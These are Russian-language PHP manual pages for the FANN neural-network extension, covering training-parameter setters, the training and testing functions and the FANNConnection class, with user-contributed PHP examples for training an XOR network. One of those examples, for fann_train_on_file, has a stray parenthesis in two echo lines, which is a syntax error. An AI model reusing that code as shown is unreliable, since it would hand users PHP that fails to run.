fann_set_quickprop_mu — Устанавливает МЮ-фактор quickprop

Описание

fann_set_quickprop_mu(resource $ann, float $quickprop_mu): bool

Устанавливает МЮ-фактор quickprop.

Список параметров

ann

Ресурс (resource) нейронной сети.

quickprop_mu

МЮ-фактор quickprop.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_quickprop_mu() - Возвращает коэффициент mu

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает коэффициент уменьшения, используемый во время обучения RPROP

  • « fann_set_quickprop_mu
  • fann_set_rprop_delta_max »
  • PHP Manual
  • Функции Fann
  • Устанавливает коэффициент уменьшения, используемый во время обучения RPROP

fann_set_rprop_decrease_factor

(PECL fann >= 1.0.0)

fann_set_rprop_decrease_factor — Устанавливает коэффициент уменьшения, используемый во время обучения RPROP

Описание

fann_set_rprop_decrease_factor(resource $ann, float $rprop_decrease_factor): bool

Устанавливает коэффициент уменьшения, используемый во время обучения RPROP.

Список параметров

ann

Ресурс (resource) нейронной сети.

rprop_decrease_factor

Коэффициент уменьшения.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_rprop_decrease_factor() - Возвращает коэффициент уменьшения, используемый во время обучения RPROP

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает максимальный размер шага

  • « fann_set_rprop_decrease_factor
  • fann_set_rprop_delta_min »
  • PHP Manual
  • Функции Fann
  • Устанавливает максимальный размер шага

fann_set_rprop_delta_max

(PECL fann >= 1.0.0)

fann_set_rprop_delta_max — Устанавливает максимальный размер шага

Описание

fann_set_rprop_delta_max(resource $ann, float $rprop_delta_max): bool

Максимальный размер шага - это положительное число, определяющее, насколько большим может быть максимальный размер шага.

Список параметров

ann

Ресурс (resource) нейронной сети.

rprop_delta_max

Максимальный размер шага.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_rprop_delta_max() - Возвращает максимальный размер шага
  • fann_get_rprop_delta_min() - Возвращает минимальный размер шага

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает минимальный размер шага

  • « fann_set_rprop_delta_max
  • fann_set_rprop_delta_zero »
  • PHP Manual
  • Функции Fann
  • Устанавливает минимальный размер шага

fann_set_rprop_delta_min

(PECL fann >= 1.0.0)

fann_set_rprop_delta_min — Устанавливает минимальный размер шага

Описание

fann_set_rprop_delta_min(resource $ann, float $rprop_delta_min): bool

Минимальный размер шага - это небольшое положительное число, определяющее, насколько маленьким может быть минимальный размер шага.

Список параметров

ann

Ресурс (resource) нейронной сети.

rprop_delta_min

Минимальный размер шага.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_rprop_delta_min() - Возвращает минимальный размер шага

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает начальный размер шага

  • « fann_set_rprop_delta_min
  • fann_set_rprop_increase_factor »
  • PHP Manual
  • Функции Fann
  • Устанавливает начальный размер шага

fann_set_rprop_delta_zero

(PECL fann >= 1.0.0)

fann_set_rprop_delta_zero — Устанавливает начальный размер шага

Описание

fann_set_rprop_delta_zero(resource $ann, float $rprop_delta_zero): bool

Начальный размер шага - это положительное число, определяющее начальный размер шага.

Список параметров

ann

Ресурс (resource) нейронной сети.

rprop_delta_zero

Начальный размер шага.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_rprop_delta_zero() - Возвращает начальный размер шага
  • fann_get_rprop_delta_min() - Возвращает минимальный размер шага
  • fann_get_rprop_delta_max() - Возвращает максимальный размер шага

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает коэффициент увеличения, используемый во время обучения Rprop

  • « fann_set_rprop_delta_zero
  • fann_set_sarprop_step_error_shift »
  • PHP Manual
  • Функции Fann
  • Устанавливает коэффициент увеличения, используемый во время обучения Rprop

fann_set_rprop_increase_factor

(PECL fann >= 1.0.0)

fann_set_rprop_increase_factor — Устанавливает коэффициент увеличения, используемый во время обучения Rprop

Описание

fann_set_rprop_increase_factor(resource $ann, float $rprop_increase_factor): bool

Устанавливает коэффициент увеличения, используемый во время обучения Rprop

Список параметров

ann

Ресурс (resource) нейронной сети.

rprop_increase_factor

Коэффициент увеличения.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_rprop_increase_factor() - Возвращает коэффициент увеличения, используемый во время обучения RPROP

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает сдвиг ошибки шага sarprop

  • « fann_set_rprop_increase_factor
  • fann_set_sarprop_step_error_threshold_factor »
  • PHP Manual
  • Функции Fann
  • Устанавливает сдвиг ошибки шага sarprop

fann_set_sarprop_step_error_shift

(PECL fann >= 1.0.0)

fann_set_sarprop_step_error_shift — Устанавливает сдвиг ошибки шага sarprop

Описание

fann_set_sarprop_step_error_shift(resource $ann, float $sarprop_step_error_shift): bool

Устанавливает сдвиг ошибки шага sarprop.

Список параметров

ann

Ресурс (resource) нейронной сети.

sarprop_step_error_shift

Сдвиг ошибки шага sarprop.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_get_sarprop_step_error_shift() - Возвращает сдвиг ошибки шага sarprop

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает пороговый коэффициент ошибки шага sarprop

  • « fann_set_sarprop_step_error_shift
  • fann_set_sarprop_temperature »
  • PHP Manual
  • Функции Fann
  • Устанавливает пороговый коэффициент ошибки шага sarprop

fann_set_sarprop_step_error_threshold_factor

(PECL fann >= 1.0.0)

fann_set_sarprop_step_error_threshold_factor — Устанавливает пороговый коэффициент ошибки шага sarprop

Описание

fann_set_sarprop_step_error_threshold_factor(resource $ann, float $sarprop_step_error_threshold_factor): bool

Устанавливает пороговый коэффициент ошибки шага sarprop.

Список параметров

ann

Ресурс (resource) нейронной сети.

sarprop_step_error_threshold_factor

Пороговый коэффициент ошибки шага sarprop.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_get_sarprop_step_error_threshold_factor() - Возвращает пороговый коэффициент ошибки шага sarprop

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает температуру sarprop

  • « fann_set_sarprop_step_error_threshold_factor
  • fann_set_sarprop_weight_decay_shift »
  • PHP Manual
  • Функции Fann
  • Устанавливает температуру sarprop

fann_set_sarprop_temperature

(PECL fann >= 1.0.0)

fann_set_sarprop_temperature — Устанавливает температуру sarprop

Описание

fann_set_sarprop_temperature(resource $ann, float $sarprop_temperature): bool

Устанавливает температуру sarprop.

Список параметров

ann

Ресурс (resource) нейронной сети.

sarprop_temperature

Температура sarprop.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_get_sarprop_temperature() - Возвращает температуру sarprop

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает смещение затухания sarprop

  • « fann_set_sarprop_temperature
  • fann_set_scaling_params »
  • PHP Manual
  • Функции Fann
  • Устанавливает смещение затухания sarprop

fann_set_sarprop_weight_decay_shift

(PECL fann >= 1.0.0)

fann_set_sarprop_weight_decay_shift — Устанавливает смещение затухания sarprop

Описание

fann_set_sarprop_weight_decay_shift(resource $ann, float $sarprop_weight_decay_shift): bool

Устанавливает смещение затухания sarprop.

Список параметров

ann

Ресурс (resource) нейронной сети.

sarprop_weight_decay_shift

Смещение затухания sarprop.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Примечания

Замечание:

Функция доступна только в том случае, если модуль fann был собран для libfann >= 2.2.

Смотрите также

  • fann_get_sarprop_weight_decay_shift() - Возвращает сдвиг уменьшения веса sarprop

User Contributed Notes

There are no user contributed notes for this page.


Рассчитывает входные и выходные параметры масштабирования для будущего использования на основе данных обучения

  • « fann_set_sarprop_weight_decay_shift
  • fann_set_train_error_function »
  • PHP Manual
  • Функции Fann
  • Рассчитывает входные и выходные параметры масштабирования для будущего использования на основе данных обучения

fann_set_scaling_params

(PECL fann >= 1.0.0)

fann_set_scaling_params — Рассчитывает входные и выходные параметры масштабирования для будущего использования на основе данных обучения

Описание

fann_set_scaling_params(
resource $ann,
resource $train_data,
float $new_input_min,
float $new_input_max,
float $new_output_min,
float $new_output_max
): bool

Рассчитывает входные и выходные параметры масштабирования для будущего использования на основе данных обучения.

Список параметров

ann

Ресурс (resource) нейронной сети.

train_data

Ресурс (resource) обучающих данных нейронной сети.

new_input_min

Желаемая нижняя граница во входных данных после масштабирования (строго не соблюдается)

new_input_max

Желаемая верхняя граница во входных данных после масштабирования (строго не соблюдается)

new_output_min

Желаемая нижняя граница в выходных данных после масштабирования (строго не соблюдается)

new_output_max

Желаемая верхняя граница в выходных данных после масштабирования (строго не соблюдается)

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_set_input_scaling_params() - Рассчитывает входные параметры масштабирования для будущего использования на основе данных обучения
  • fann_set_output_scaling_params() - Рассчитывает выходные параметры масштабирования для будущего использования на основе данных обучения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает функцию ошибки, используемую во время тренировки

  • « fann_set_scaling_params
  • fann_set_train_stop_function »
  • PHP Manual
  • Функции Fann
  • Устанавливает функцию ошибки, используемую во время тренировки

fann_set_train_error_function

(PECL fann >= 1.0.0)

fann_set_train_error_function — Устанавливает функцию ошибки, используемую во время тренировки

Описание

fann_set_train_error_function(resource $ann, int $error_function): bool

Устанавливает функцию ошибки, используемую во время тренировки.

Функции ошибок описаны далее в константах функций ошибок.

Список параметров

ann

Ресурс (resource) нейронной сети.

error_function

Константа функций ошибок

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_train_error_function() - Возвращает функцию обработки ошибок, используемую во время обучения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает функцию остановки, используемую во время тренировки

  • « fann_set_train_error_function
  • fann_set_training_algorithm »
  • PHP Manual
  • Функции Fann
  • Устанавливает функцию остановки, используемую во время тренировки

fann_set_train_stop_function

(PECL fann >= 1.0.0)

fann_set_train_stop_function — Устанавливает функцию остановки, используемую во время тренировки

Описание

fann_set_train_stop_function(resource $ann, int $stop_function): bool

Устанавливает функцию остановки, используемую во время тренировки.

Функции останова описаны далее в константах функции остановки.

Список параметров

ann

Ресурс (resource) нейронной сети.

stop_function

Константа функции остановки.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_train_stop_function() - Возвращает функцию остановки, используемую во время обучения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает алгоритм обучения

  • « fann_set_train_stop_function
  • fann_set_weight_array »
  • PHP Manual
  • Функции Fann
  • Устанавливает алгоритм обучения

fann_set_training_algorithm

(PECL fann >= 1.0.0)

fann_set_training_algorithm — Устанавливает алгоритм обучения

Описание

fann_set_training_algorithm(resource $ann, int $training_algorithm): bool

Устанавливает алгоритм обучения.

Более подробная информация доступна в fann_get_training_algorithm().

Список параметров

ann

Ресурс (resource) нейронной сети.

training_algorithm

Константа Алгоритма обучения

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_get_training_algorithm() - Возвращает алгоритм обучения

User Contributed Notes

There are no user contributed notes for this page.


Создание связей в сети

  • « fann_set_training_algorithm
  • fann_set_weight »
  • PHP Manual
  • Функции Fann
  • Создание связей в сети

fann_set_weight_array

(PECL fann >= 1.0.0)

fann_set_weight_array — Создание связей в сети

Описание

fann_set_weight_array(resource $ann, array $connections): bool

Создание связей в сети.

Могут быть изменены только весовые коэффициенты, несуществующие в сети связи и веса будут игнорироваться.

Список параметров

ann

Ресурс (resource) нейронной сети.

connections

Массив объектов FANNConnection

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Создание связи в сети

  • « fann_set_weight_array
  • fann_shuffle_train_data »
  • PHP Manual
  • Функции Fann
  • Создание связи в сети

fann_set_weight

(PECL fann >= 1.0.0)

fann_set_weight — Создание связи в сети

Описание

fann_set_weight(
resource $ann,
int $from_neuron,
int $to_neuron,
float $weight
): bool

Создаёт связь в сети.

Список параметров

ann

Ресурс (resource) нейронной сети.

from_neuron

Начальный нейрон

to_neuron

Конечный нейрон

weight

Вес связи

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Перемешивает обучающие данные в случайном порядке

  • « fann_set_weight
  • fann_subset_train_data »
  • PHP Manual
  • Функции Fann
  • Перемешивает обучающие данные в случайном порядке

fann_shuffle_train_data

(PECL fann >= 1.0.0)

fann_shuffle_train_data — Перемешивает обучающие данные в случайном порядке

Описание

fann_shuffle_train_data(resource $train_data): bool

Перемешивает обучающие данные в случайном порядке. Рекомендуется использовать при инкрементальном обучении, но никак не влияет на пакетное обучение.

Список параметров

train_data

Ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

User Contributed Notes

There are no user contributed notes for this page.


Получить копию подмножества из обучающих данных

  • « fann_shuffle_train_data
  • fann_test_data »
  • PHP Manual
  • Функции Fann
  • Получить копию подмножества из обучающих данных

fann_subset_train_data

(PECL fann >= 1.0.0)

fann_subset_train_data — Получить копию подмножества из обучающих данных

Описание

fann_subset_train_data(resource $data, int $pos, int $length): resource

Возвращает копию подмножества из обучающих данных resource, начинающихся с pos и длиной length элементов.

fann_subset_train_data(train_data, 0, fann_length_train_data(train_data)) делает тоже самое, что и fann_duplicate_train_data()

Список параметров

data

Ресурс (resource) обучающих данных нейронной сети.

pos

Начальная позиция.

length

Количество копируемых элементов.

Возвращаемые значения

Возвращает ресурс (resource) обучающих данных, или false в случае возникновения ошибки.

Смотрите также

  • fann_duplicate_train_data() - Возвращает точную копию тренировочных данных

User Contributed Notes

geekgirl dot joy at gmail dot com 01-Aug-2019 04:54
<?php
// Use this code to split your data into smaller sets.
// Useful for splitting your training data into training and testing groups

// Load Data
$data_file = "MyTrainingData.data";
$train_data = fann_read_train_from_file(dirname(__FILE__)  .  DIRECTORY_SEPARATOR  .  $data_file);

// Calculate how many examples are in the first group
$total_length = fann_length_train_data($train_data);
$a_length = floor($total_length / 10);

// Split the subsets
$training_data_a  = fann_subset_train_data($train_data, 0, $a_length);
$training_data_b  = fann_subset_train_data($train_data, $a_length, $total_length-$a_length);

// Save the training data to separate files
fann_save_train ($training_data_a, 'MyTrainingData_Subset_A.data'); // 1/10 of the training data
fann_save_train ($training_data_b, 'MyTrainingData_Subset_B.data'); // 9/10 of the training data


Тестирование набора обучающих данных и вычисление MSE для него

  • « fann_subset_train_data
  • fann_test »
  • PHP Manual
  • Функции Fann
  • Тестирование набора обучающих данных и вычисление MSE для него

fann_test_data

(PECL fann >= 1.0.0)

fann_test_data — Тестирование набора обучающих данных и вычисление MSE для него

Описание

fann_test_data(resource $ann, resource $data): float

Тестирование набора обучающих данных и вычисление MSE для него.

Эта функция обновляет MSE и значения бит неудачи.

Список параметров

ann

Ресурс (resource) нейронной сети.

data

Ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

Обновлённая MSE, или false в случае возникновения ошибки.

Смотрите также

  • fann_train_on_data() - Обучение на всем объёме данных на временном интервале
  • fann_train_epoch() - Обучение в течение одной эпохи
  • fann_get_bit_fail() - Количество битов сбоя
  • fann_get_MSE() - Считывает среднеквадратичную ошибку сети
  • fann_set_training_algorithm() - Устанавливает алгоритм обучения

User Contributed Notes

There are no user contributed notes for this page.


Тестирование с набором входных данных и желаемым результатом

  • « fann_test_data
  • fann_train_epoch »
  • PHP Manual
  • Функции Fann
  • Тестирование с набором входных данных и желаемым результатом

fann_test

(PECL fann >= 1.0.0)

fann_test — Тестирование с набором входных данных и желаемым результатом

Описание

fann_test(resource $ann, array $input, array $desired_output): array

Тестирование с набором входных данных и желаемым результатом. Эта операция обновит среднеквадратичную ошибку, но не поменяет сеть.

Список параметров

ann

Ресурс (resource) нейронной сети.

input

Массив входных данных. Размер массива должен точно соответствовать fann_get_num_input().

desired_output

Массив желаемых результатов. Размер массива должен точно соответствовать fann_get_num_output().

Возвращаемые значения

Возвращает тестовые выводы в случае успешного выполнения или false в случае возникновения ошибки

Смотрите также

  • fann_test_data() - Тестирование набора обучающих данных и вычисление MSE для него
  • fann_train() - Провести одну итерацию обучения с набором входных данных и желаемым результатом
  • fann_get_num_input() - Получает количество входных нейронов
  • fann_get_num_output() - Получает количество выходных нейронов

User Contributed Notes

There are no user contributed notes for this page.


Обучение в течение одной эпохи

  • « fann_test
  • fann_train_on_data »
  • PHP Manual
  • Функции Fann
  • Обучение в течение одной эпохи

fann_train_epoch

(PECL fann >= 1.0.0)

fann_train_epoch — Обучение в течение одной эпохи

Описание

fann_train_epoch(resource $ann, resource $data): float

Обучение в течение одной эпохи. Одна эпоха определяет, что все обучающие данные будут использованы ровно один раз.

Эта функция возвращает сообщение об ошибке MSE, рассчитываемой либо до, либо во время фактического обучения. Это не актуальное значение MSE, посчитанное после обучения в течение эпохи, но, так как для его расчёта пришлось бы перебрать обучающий набор ещё раз, то более удобно будет использовать это значение.

Алгоритм обучения используемый этой функцией выбирается с помощью fann_set_training_algorithm().

Список параметров

ann

Ресурс (resource) нейронной сети.

data

Ресурс (resource) обучающих данных нейронной сети.

Возвращаемые значения

MSE или false в случае возникновения ошибки.

Смотрите также

  • fann_train_on_data() - Обучение на всем объёме данных на временном интервале
  • fann_test_data() - Тестирование набора обучающих данных и вычисление MSE для него
  • fann_get_MSE() - Считывает среднеквадратичную ошибку сети
  • fann_set_training_algorithm() - Устанавливает алгоритм обучения

User Contributed Notes

geekgirljoy at gmail dot com 29-Oct-2018 02:26
This code demonstrates training XOR using fann_train_epoch and will let you watch the training process by observing a psudo MSE (mean squared error).

Other training functions: fann_train_on_data, fann_train_on_file, fann_train.

fann_train_epoch is useful when you want to observe the ANN while it is training and perhaps save snapshots or compare competing networks during training.

fann_train_epoch is different from fann_train in that it takes a data resource (training file) whereas fann_train takes an array of inputs and a separate array of outputs so use fann_train_epoch for observing training on data files (callback training resources) and use fann_train when observing manually specified data.

Example code:

<?php
$num_input = 2;
$num_output = 1;
$num_layers = 3;
$num_neurons_hidden = 3;
$desired_error = 0.0001;
$max_epochs = 500000;
$current_epoch = 0;
$epochs_between_saves = 100; // Minimum number of epochs between saves
$epochs_since_last_save = 0;
$filename = dirname(__FILE__) . "/xor.data";

// Initialize psudo mse (mean squared error) to a number greater than the desired_error
// this is what the network is trying to minimize.
$psudo_mse_result = $desired_error * 10000; // 1
$best_mse = $psudo_mse_result; // keep the last best seen MSE network score here

// Initialize ANN
$ann = fann_create_standard($num_layers, $num_input, $num_neurons_hidden, $num_output);

if ($ann) {
  echo 'Training ANN... ' . PHP_EOL;

  // Configure the ANN
  fann_set_training_algorithm ($ann , FANN_TRAIN_BATCH);
  fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
  fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

  // Read training data
  $train_data = fann_read_train_from_file($filename);

  // Check if psudo_mse_result is greater than our desired_error
  // if so keep training so long as we are also under max_epochs
  while(($psudo_mse_result > $desired_error) && ($current_epoch <= $max_epochs)){
    $current_epoch++;
    $epochs_since_last_save++;

    // See: http://php.net/manual/en/function.fann-train-epoch.php
    // Train one epoch with the training data stored in data.
    //
    // One epoch is where all of the training data is considered
    // exactly once.
    //
    // This function returns the MSE error as it is calculated
    // either before or during the actual training. This is not the
    // actual MSE after the training epoch, but since calculating this
    // will require to go through the entire training set once more.
    // It is more than adequate to use this value during training.
    $psudo_mse_result = fann_train_epoch ($ann , $train_data );
    echo 'Epoch ' . $current_epoch . ' : ' . $psudo_mse_result . PHP_EOL; // report

    // If we haven't saved the ANN in a while...
    // and the current network is better then the previous best network
    // as defined by the current MSE being less than the last best MSE
    // Save it!
    if(($epochs_since_last_save >= $epochs_between_saves) && ($psudo_mse_result < $best_mse)){

      $best_mse = $psudo_mse_result; // we have a new best_mse

      // Save a Snapshot of the ANN
      fann_save($ann, dirname(__FILE__) . "/xor.net");
      echo 'Saved ANN.' . PHP_EOL; // report the save
      $epochs_since_last_save = 0; // reset the count
    }

  } // While we're training

  echo 'Training Complete! Saving Final Network.'  . PHP_EOL;

  // Save the final network
  fann_save($ann, dirname(__FILE__) . "/xor.net");
  fann_destroy($ann); // free memory
}
echo 'All Done!' . PHP_EOL;
?>


Обучение на всем объёме данных на временном интервале

  • « fann_train_epoch
  • fann_train_on_file »
  • PHP Manual
  • Функции Fann
  • Обучение на всем объёме данных на временном интервале

fann_train_on_data

(PECL fann >= 1.0.0)

fann_train_on_data — Обучение на всем объёме данных на временном интервале

Описание

fann_train_on_data(
resource $ann,
resource $data,
int $max_epochs,
int $epochs_between_reports,
float $desired_error
): bool

Обучение на полном наборе данных, на временном интервале.

Это обучение использует алгоритм, выбранный функцией fann_set_training_algorithm() и набор параметров для этих алгоритмов.

Список параметров

ann

Ресурс (resource) нейронной сети.

data

Ресурс (resource) обучающих данных нейронной сети.

max_epochs

Максимальное количество эпох, которое должно продолжаться обучение

epochs_between_reports

Количество эпох между вызовами пользовательской функции. Если равно нулю, то функция не будет запускаться.

desired_error

Желаемая fann_get_MSE() или fann_get_bit_fail(), в зависимости от выбранной функции остановки fann_set_train_stop_function()

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_train_on_file() - Обучение на полном наборе данных, прочитанном из файла, на временном интервале
  • fann_train_epoch() - Обучение в течение одной эпохи
  • fann_get_bit_fail() - Количество битов сбоя
  • fann_get_MSE() - Считывает среднеквадратичную ошибку сети
  • fann_set_train_stop_function() - Устанавливает функцию остановки, используемую во время тренировки
  • fann_set_training_algorithm() - Устанавливает алгоритм обучения
  • fann_set_callback() - Устанавливает callback-функцию для использования во время обучения

User Contributed Notes

There are no user contributed notes for this page.


Обучение на полном наборе данных, прочитанном из файла, на временном интервале

  • « fann_train_on_data
  • fann_train »
  • PHP Manual
  • Функции Fann
  • Обучение на полном наборе данных, прочитанном из файла, на временном интервале

fann_train_on_file

(PECL fann >= 1.0.0)

fann_train_on_file — Обучение на полном наборе данных, прочитанном из файла, на временном интервале

Описание

fann_train_on_file(
resource $ann,
string $filename,
int $max_epochs,
int $epochs_between_reports,
float $desired_error
): bool

Обучение на полном наборе данных, прочитанном из файла, на временном интервале.

Это обучение использует алгоритм, выбранный функцией fann_set_training_algorithm() и набор параметров для этих алгоритмов.

Список параметров

ann

Ресурс (resource) нейронной сети.

filename

Файл, содержащий обучающие данные

max_epochs

Максимальное количество эпох, которое должно продолжаться обучение

epochs_between_reports

Количество эпох между вызовами пользовательской функции. Если равно нулю, то функция не будет запускаться.

desired_error

Желаемая fann_get_MSE() или fann_get_bit_fail(), в зависимости от выбранной функции остановки fann_set_train_stop_function()

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_train_on_data() - Обучение на всем объёме данных на временном интервале
  • fann_train_epoch() - Обучение в течение одной эпохи
  • fann_get_bit_fail() - Количество битов сбоя
  • fann_get_MSE() - Считывает среднеквадратичную ошибку сети
  • fann_set_train_stop_function() - Устанавливает функцию остановки, используемую во время тренировки
  • fann_set_training_algorithm() - Устанавливает алгоритм обучения
  • fann_set_callback() - Устанавливает callback-функцию для использования во время обучения

User Contributed Notes

geekgirljoy at gmail dot com 01-Nov-2018 05:11
Training File (xor.data):
4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

<?php
$num_input = 2;
$num_output = 1;
$num_layers = 3;
$num_neurons_hidden = 3;
$desired_error = 0.001;
$max_epochs = 500000;
$epochs_between_reports = 1000;
$training_data = dirname(__FILE__) . "/xor.data";  // training data file
$ann_save_file = dirname(__FILE__) . "/xor_float.net";  // training data file

// Create ANN object using
$ann = fann_create_standard($num_layers, $num_input, $num_neurons_hidden, $num_output);

if ($ann) {

    // Configure the ANN Activation Function
    fann_set_activation_function_hidden($ann, FANN_SIGMOID_SYMMETRIC);
    fann_set_activation_function_output($ann, FANN_SIGMOID_SYMMETRIC);

    // Try to train using fann_train_on_file()
    if (fann_train_on_file($ann, $training_data, $max_epochs, $epochs_between_reports, $desired_error)){
        echo 'xor trained.' . PHP_EOL);
    }

    // Try to save
    if (fann_save($ann, $ann_save_file)){
        echo 'xor saved.' . PHP_EOL);
    }

    // Destroy the $ann object
    fann_destroy($ann);
}
?>


Провести одну итерацию обучения с набором входных данных и желаемым результатом

  • « fann_train_on_file
  • FANNConnection »
  • PHP Manual
  • Функции Fann
  • Провести одну итерацию обучения с набором входных данных и желаемым результатом

fann_train

(PECL fann >= 1.0.0)

fann_train — Провести одну итерацию обучения с набором входных данных и желаемым результатом

Описание

fann_train(resource $ann, array $input, array $desired_output): bool

Провести одну итерацию обучения с набором входных данных и желаемым результатом. Это обучение всегда инкрементальное, так как представлена только одна модель.

Список параметров

ann

Ресурс (resource) нейронной сети.

input

Массив входных данных. Размер массива должен точно соответствовать fann_get_num_input().

desired_output

Массив желаемых результатов. Размер массива должен точно соответствовать fann_get_num_output().

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false в противном случае.

Смотрите также

  • fann_train_on_data() - Обучение на всем объёме данных на временном интервале
  • fann_train_epoch() - Обучение в течение одной эпохи
  • fann_get_num_input() - Получает количество входных нейронов
  • fann_get_num_output() - Получает количество выходных нейронов

User Contributed Notes

There are no user contributed notes for this page.


Класс FANNConnection

(Информация о версии неизвестна, возможно, только в Git)

Введение

FANNConnection используется для связи нейронной сети. Объекты этого класса используются в функциях fann_get_connection_array() и fann_set_weight_array().

Обзор классов

class FANNConnection {
/* Свойства */
public $from_neuron;
public $to_neuron;
public $weight;
/* Методы */
public __construct(int $from_neuron, int $to_neuron, float $weight)
public getFromNeuron(): int
public getToNeuron(): int
public getWeight(): void
public setWeight(float $weight): void
}

Свойства

from_neuron

Первый нейрон (начальный)

to_neuron

Второй нейрон (конечный)

weight

Вес связи

Содержание

  • FANNConnection::__construct — Конструктор связи
  • FANNConnection::getFromNeuron — Возвращает позицию стартового нейрона
  • FANNConnection::getToNeuron — Возвращает позицию конечного нейрона
  • FANNConnection::getWeight — Возвращает вес связи
  • FANNConnection::setWeight — Устанавливает вес связи

User Contributed Notes

There are no user contributed notes for this page.


Конструктор связи

  • « FANNConnection
  • FANNConnection::getFromNeuron »
  • PHP Manual
  • FANNConnection
  • Конструктор связи

FANNConnection::__construct

(PECL fann >= 1.0.0)

FANNConnection::__construct — Конструктор связи

Описание

public FANNConnection::__construct(int $from_neuron, int $to_neuron, float $weight)

Создаёт новую связь и инициализирует её параметры. После создания связи можно будет изменить только её вес.

Список параметров

from_neuron

Позиция стартового нейрона.

to_neuron

Позиция конечного нейрона.

weight

Вес связи.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает позицию стартового нейрона

  • « FANNConnection::__construct
  • FANNConnection::getToNeuron »
  • PHP Manual
  • FANNConnection
  • Возвращает позицию стартового нейрона

FANNConnection::getFromNeuron

(PECL fann >= 1.0.0)

FANNConnection::getFromNeuron — Возвращает позицию стартового нейрона

Описание

public FANNConnection::getFromNeuron(): int

Возвращает позицию стартового нейрона.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Позиция стартового нейрона.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает позицию конечного нейрона

  • « FANNConnection::getFromNeuron
  • FANNConnection::getWeight »
  • PHP Manual
  • FANNConnection
  • Возвращает позицию конечного нейрона

FANNConnection::getToNeuron

(PECL fann >= 1.0.0)

FANNConnection::getToNeuron — Возвращает позицию конечного нейрона

Описание

public FANNConnection::getToNeuron(): int

Возвращает позицию конечного нейрона.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Позиция конечного нейрона.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает вес связи

  • « FANNConnection::getToNeuron
  • FANNConnection::setWeight »
  • PHP Manual
  • FANNConnection
  • Возвращает вес связи

FANNConnection::getWeight

(PECL fann >= 1.0.0)

FANNConnection::getWeight — Возвращает вес связи

Описание

public FANNConnection::getWeight(): void

Возвращает вес связи.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Вес связи.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает вес связи

  • « FANNConnection::getWeight
  • Igbinary »
  • PHP Manual
  • FANNConnection
  • Устанавливает вес связи

FANNConnection::setWeight

(PECL fann >= 1.0.0)

FANNConnection::setWeight — Устанавливает вес связи

Описание

public FANNConnection::setWeight(float $weight): void

Устанавливает вес связи.

Этот метод отличается от fann_set_weight(). Он не обновляет значения веса в сети. Значение в сети обновится только после вызова fann_set_weight_array().

Список параметров

weight

Вес связи.

Возвращаемые значения

Не возвращает никакого значения.

User Contributed Notes

There are no user contributed notes for this page.


Igbinary

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
  • Функции Igbinary
    • igbinary_serialize — Создаёт компактное, сохраняемое двоичное представление значения
    • igbinary_unserialize — Создаёт значение PHP из сохранённого представления функцией igbinary_serialize

User Contributed Notes

There are no user contributed notes for this page.


Введение

Igbinary - это небольшая замена стандартному сериализатору PHP. Вместо занимающего много времени и места текстового представления, используемого PHP serialize(), Igbinary хранит структуры данных PHP в компактной двоичной форме. Экономия памяти значительна при использовании memcached, APCu или аналогичных хранилищ на основе памяти для сериализованных данных. Типичное сокращение требований к хранению составляет около 50%. Точный процент зависит от данных.

User Contributed Notes

